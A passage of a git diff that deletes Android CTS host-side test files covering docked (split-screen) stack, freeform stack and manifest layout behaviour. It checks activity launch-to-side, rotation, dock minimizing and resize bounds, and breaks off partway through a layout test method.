- // Launch activity that was first launched to side. It should be brought to front.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForFirstVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Task number in fullscreen stack must remain the same.",
- taskNumberCovered, taskNumberFinal);
- mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
- TEST_ACTIVITY_NAME);
- }
-
- public void testLaunchToSideMultiple() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- final String[] waitForActivitiesVisible =
- new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
-
- // Launch activity to side.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
- mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
- TEST_ACTIVITY_NAME);
- mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
- }
-
- public void testLaunchToSideSingleInstance() throws Exception {
- launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
- }
-
- public void testLaunchToSideSingleTask() throws Exception {
- launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
- }
-
- public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
- launchTargetToSide(TEST_ACTIVITY_NAME, true);
- }
-
- private void launchTargetToSide(String targetActivityName,
- boolean taskCountMustIncrement) throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- final String[] waitForActivitiesVisible =
- new String[] {targetActivityName, LAUNCHING_ACTIVITY};
-
- // Launch activity to side with data.
- launchActivityToSide(true, false, targetActivityName);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again with different data.
- launchActivityToSide(true, false, targetActivityName);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberSecondLaunch = mAmWmState.getAmState()
- .getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTasks().size();
- if (taskCountMustIncrement) {
- mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
- taskNumberSecondLaunch);
- } else {
- mAmWmState.assertEquals("Task number must not change.", taskNumberInitial,
- taskNumberSecondLaunch);
- }
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- targetActivityName);
- mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again with no data.
- launchActivityToSide(false, false, targetActivityName);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- if (taskCountMustIncrement) {
- mAmWmState.assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
- taskNumberFinal);
- } else {
- mAmWmState.assertEquals("Task number must not change.", taskNumberSecondLaunch,
- taskNumberFinal);
- }
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- targetActivityName);
- mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
- }
-
- public void testLaunchToSideMultipleWithFlag() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- final String[] waitForActivitiesVisible =
- new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-
- // Launch activity to side.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
- getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
- taskNumberFinal);
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- TEST_ACTIVITY_NAME);
- mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
- }
-
- public void testRotationWhenDocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- // Rotate device single steps (90°) 0-1-2-3.
- // Each time we compute the state we implicitly assert valid bounds.
- String[] waitForActivitiesVisible =
- new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
- for (int i = 0; i < 4; i++) {
- setDeviceRotation(i);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
- // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
- // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
- setDeviceRotation(1);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(3);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(2);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
-
- public void testRotationWhenDockedWhileLocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertSanity();
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- String[] waitForActivitiesVisible =
- new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
- for (int i = 0; i < 4; i++) {
- sleepDevice();
- setDeviceRotation(i);
- wakeUpAndUnlockDevice();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
- }
-
- public void testRotationWhileDockMinimized() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
- assertDockMinimized();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
- mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
- HOME_STACK_ID);
-
- // Rotate device single steps (90°) 0-1-2-3.
- // Each time we compute the state we implicitly assert valid bounds in minimized mode.
- String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
- for (int i = 0; i < 4; i++) {
- setDeviceRotation(i);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
-
- // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
- // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in minimized
- // mode.
- setDeviceRotation(1);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(3);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(2);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
-
- public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
- // going home has the correct app transition
- for (int i = 0; i < 4; i++) {
- setDeviceRotation(i);
- launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
- assertDockMinimized();
-
- // Unminimize the docked stack
- pressAppSwitchButton();
- waitForDockNotMinimized();
- assertDockNotMinimized();
-
- // Dismiss the dock stack
- launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- moveActivityToStack(DOCKED_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, new String[]{DOCKED_ACTIVITY_NAME});
-
- // Go home and check the app transition
- assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
- pressHomeButton();
- mAmWmState.computeState(mDevice, null);
- assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
- }
- }
-
- public void testFinishDockActivityWhileMinimized() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
- assertDockMinimized();
-
- runCommandAndPrintOutput("am broadcast -a 'android.server.cts.FinishableActivity.finish'");
- waitForDockNotMinimized();
- mAmWmState.assertVisibility(FINISHABLE_ACTIVITY_NAME, false);
- assertDockNotMinimized();
- }
-
- public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- sleepDevice();
- wakeUpAndUnlockDevice();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- assertDockMinimized();
- }
-
- public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
- assertDockMinimized();
-
- sleepDevice();
- wakeUpAndUnlockDevice();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- // Unminimized back to splitscreen
- pressAppSwitchButton();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- }
-
- public void testResizeDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
- launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME},
- false /* compareTaskAndStackBounds */);
- mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
- mAmWmState.assertContainsStack("Must contain fullscreen stack",
- FULLSCREEN_WORKSPACE_STACK_ID);
- assertEquals(new Rectangle(0, 0, STACK_SIZE, STACK_SIZE),
- mAmWmState.getAmState().getStackById(DOCKED_STACK_ID).getBounds());
- mAmWmState.assertDockedTaskBounds(TASK_SIZE, TASK_SIZE, DOCKED_ACTIVITY_NAME);
- mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
- }
-
- public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- final String[] waitTestActivityName = new String[] {TEST_ACTIVITY_NAME};
- launchActivity(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, waitTestActivityName);
- final Rectangle fullScreenBounds =
- mAmWmState.getWmState().getStack(FULLSCREEN_WORKSPACE_STACK_ID).getBounds();
-
- moveActivityToDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, waitTestActivityName);
- launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-
- mAmWmState.computeState(mDevice,
- new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
- final Rectangle initialDockBounds =
- mAmWmState.getWmState().getStack(DOCKED_STACK_ID).getBounds();
-
- final String logSeparator = clearLogcat();
-
- Rectangle newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
- resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
- mAmWmState.computeState(mDevice,
- new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-
- // We resize twice to make sure we cross an orientation change threshold for both
- // activities.
- newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
- resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
- mAmWmState.computeState(mDevice,
- new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
- assertActivityLifecycle(TEST_ACTIVITY_NAME, true /* relaunched */, logSeparator);
- assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false /* relaunched */, logSeparator);
- }
-
- private Rectangle computeNewDockBounds(
- Rectangle fullscreenBounds, Rectangle dockBounds, boolean reduceSize) {
- final boolean inLandscape = fullscreenBounds.width > dockBounds.width;
- // We are either increasing size or reducing it.
- final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
- final Rectangle newBounds = new Rectangle(dockBounds);
- if (inLandscape) {
- // In landscape we change the width.
- newBounds.width *= sizeChangeFactor;
- } else {
- // In portrait we change the height
- newBounds.height *= sizeChangeFactor;
- }
-
- return newBounds;
- }
-
- public void testStackListOrderLaunchDockedActivity() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY_NAME});
-
- final int homeStackIndex = mAmWmState.getStackPosition(HOME_STACK_ID);
- final int recentsStackIndex = mAmWmState.getStackPosition(RECENTS_STACK_ID);
- assertTrue("Recents stack should be on top of home stack",
- recentsStackIndex < homeStackIndex);
- }
-
- private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
- launchActivityInDockStack(activityName);
- pressHomeButton();
- waitForDockMinimized();
- }
-
- private void assertDockMinimized() {
- assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
- }
-
- private void assertDockNotMinimized() {
- assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
- }
-
- private void waitForDockMinimized() throws Exception {
- mAmWmState.waitForWithWmState(mDevice, state -> state.isDockedStackMinimized(),
- "***Waiting for Dock stack to be minimized");
- }
-
- private void waitForDockNotMinimized() throws Exception {
- mAmWmState.waitForWithWmState(mDevice, state -> !state.isDockedStackMinimized(),
- "***Waiting for Dock stack to not be minimized");
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
deleted file mode 100644
index a1d76c8..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerFreeformStackTests
- */
-public class ActivityManagerFreeformStackTests extends ActivityManagerTestBase {
-
- private static final String TEST_ACTIVITY = "TestActivity";
- private static final int TEST_TASK_OFFSET = 20;
- private static final int TEST_TASK_OFFSET_2 = 100;
- private static final int TEST_TASK_SIZE_1 = 900;
- private static final int TEST_TASK_SIZE_2 = TEST_TASK_SIZE_1 * 2;
- private static final int TEST_TASK_SIZE_DP_1 = 220;
- private static final int TEST_TASK_SIZE_DP_2 = TEST_TASK_SIZE_DP_1 * 2;
-
- // NOTE: Launching the FreeformActivity will automatically launch the TestActivity
- // with bounds (0, 0, 900, 900)
- private static final String FREEFORM_ACTIVITY = "FreeformActivity";
- private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
- private static final String NO_RELAUNCH_ACTIVITY = "NoRelaunchActivity";
-
- public void testFreeformWindowManagementSupport() throws Exception {
-
- launchActivityInStack(FREEFORM_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
- mAmWmState.computeState(mDevice, new String[] {FREEFORM_ACTIVITY, TEST_ACTIVITY});
-
- if (!supportsFreeform()) {
- mAmWmState.assertDoesNotContainStack(
- "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
- return;
- }
-
- mAmWmState.assertFrontStack(
- "Freeform stack must be the front stack.", FREEFORM_WORKSPACE_STACK_ID);
- mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
- mAmWmState.assertFocusedActivity(
- TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
- assertEquals(new Rectangle(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
- mAmWmState.getAmState().getTaskByActivityName(TEST_ACTIVITY).getBounds());
- }
-
- public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
- launchActivityInStack(NON_RESIZEABLE_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY});
-
- final ActivityTask task =
- mAmWmState.getAmState().getTaskByActivityName(NON_RESIZEABLE_ACTIVITY);
- final ActivityStack stack = mAmWmState.getAmState().getStackById(task.mStackId);
-
- if (task.isFullscreen()) {
- // If the task is on the fullscreen stack, then we know that it will have bounds that
- // fill the entire display.
- return;
- }
-
- // If the task is not on the fullscreen stack, then compare the task bounds to the display
- // bounds.
- assertEquals(mAmWmState.getWmState().getDisplay(stack.mDisplayId).getDisplayRect(),
- task.getBounds());
- }
-
- public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
- launchActivityInStack(TEST_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
- launchActivityInStack(NO_RELAUNCH_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
- if (!supportsFreeform()) {
- mAmWmState.assertDoesNotContainStack(
- "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
- return;
- }
-
- final int displayId = mAmWmState.getAmState().getStackById(
- ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID).mDisplayId;
- final int densityDpi =
- mAmWmState.getWmState().getDisplay(displayId).getDpi();
- final int testTaskSize1 =
- ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_1, densityDpi);
- final int testTaskSize2 =
- ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_2, densityDpi);
-
- resizeActivityTask(TEST_ACTIVITY,
- TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize1, testTaskSize2);
- resizeActivityTask(NO_RELAUNCH_ACTIVITY,
- TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize1, testTaskSize2);
-
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
- final String logSeparator = clearLogcat();
- resizeActivityTask(TEST_ACTIVITY,
- TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize2, testTaskSize1);
- resizeActivityTask(NO_RELAUNCH_ACTIVITY,
- TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize2, testTaskSize1);
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
- assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */, logSeparator);
- assertActivityLifecycle(NO_RELAUNCH_ACTIVITY, false /* relaunched */, logSeparator);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
deleted file mode 100644
index e6df4b2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-
-import junit.framework.Assert;
-
-import java.awt.Rectangle;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.WindowManagerState.Display;
-
-import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.log.LogUtil.CLog;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerManifestLayoutTests
- */
-public class ActivityManagerManifestLayoutTests extends ActivityManagerTestBase {
-
- // Test parameters
- private static final int DEFAULT_WIDTH_DP = 240;
- private static final int DEFAULT_HEIGHT_DP = 160;
- private static final float DEFAULT_WIDTH_FRACTION = 0.25f;
- private static final float DEFAULT_HEIGHT_FRACTION = 0.35f;
- private static final int MIN_WIDTH_DP = 100;
- private static final int MIN_HEIGHT_DP = 80;
-
- private static final int GRAVITY_VER_CENTER = 0x01;
- private static final int GRAVITY_VER_TOP = 0x02;
- private static final int GRAVITY_VER_BOTTOM = 0x04;
- private static final int GRAVITY_HOR_CENTER = 0x10;
- private static final int GRAVITY_HOR_LEFT = 0x20;
- private static final int GRAVITY_HOR_RIGHT = 0x40;
-
- private List<WindowState> mTempWindowList = new ArrayList();
- private Display mDisplay;
- private WindowState mWindowState;
-
- public void testGravityAndDefaultSizeTopLeft() throws Exception {
- testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_LEFT, false /*fraction*/);
- }
-
- public void testGravityAndDefaultSizeTopRight() throws Exception {
- testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_RIGHT, true /*fraction*/);
- }
-
- public void testGravityAndDefaultSizeBottomLeft() throws Exception {
- testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_LEFT, true /*fraction*/);
- }
-
- public void testGravityAndDefaultSizeBottomRight() throws Exception {
- testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_RIGHT, false /*fraction*/);
- }
-
- public void testMinimalSizeFreeform() throws Exception {
- if (!supportsFreeform()) {
- CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
- return;
- }
- testMinimalSize(FREEFORM_WORKSPACE_STACK_ID);
- }
-
- public void testMinimalSizeDocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
- return;
- }
- testMinimalSize(DOCKED_STACK_ID);
- }
-
- private void testMinimalSize(int stackId) throws Exception {
- final String activityName = "BottomRightLayoutActivity";
-
- // Issue command to resize to <0,0,1,1>. We expect the size to be floored at
- // MIN_WIDTH_DPxMIN_HEIGHT_DP.
- if (stackId == FREEFORM_WORKSPACE_STACK_ID) {
- launchActivityInStack(activityName, stackId);
- resizeActivityTask(activityName, 0, 0, 1, 1);
- } else { // stackId == DOCKED_STACK_ID
- launchActivityInDockStack(activityName);
- resizeDockedStack(1, 1, 1, 1);
- }
- getDisplayAndWindowState(activityName, false);
-
- final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
- final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
- final Rectangle containingRect = mWindowState.getContainingFrame();
-
- Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width);
- Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height);
- }
-
- private void testLayout(
- int vGravity, int hGravity, boolean fraction) throws Exception {
- if (!supportsFreeform()) {
- CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
- return;
- }
-
- final String activityName = (vGravity == GRAVITY_VER_TOP ? "Top" : "Bottom")
- + (hGravity == GRAVITY_HOR_LEFT ? "Left" : "Right") + "LayoutActivity";
-
- // Launch in freeform stack
- launchActivityInStack(activityName, FREEFORM_WORKSPACE_STACK_ID);
-
- getDisplayAndWindowState(activityName, true);
-
- final Rectangle containingRect = mWindowState.getContainingFrame();
- final Rectangle appRect = mDisplay.getAppRect();
- final int expectedWidthPx, expectedHeightPx;
- // Evaluate the expected window size in px. If we're using fraction dimensions,
- // calculate the size based on the app rect size. Otherwise, convert the expected
- // size in dp to px.
- if (fraction) {
- expectedWidthPx = (int) (appRect.width * DEFAULT_WIDTH_FRACTION);
- expectedHeightPx = (int) (appRect.height * DEFAULT_HEIGHT_FRACTION);
- } else {
- final int densityDpi = mDisplay.getDpi();
- expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
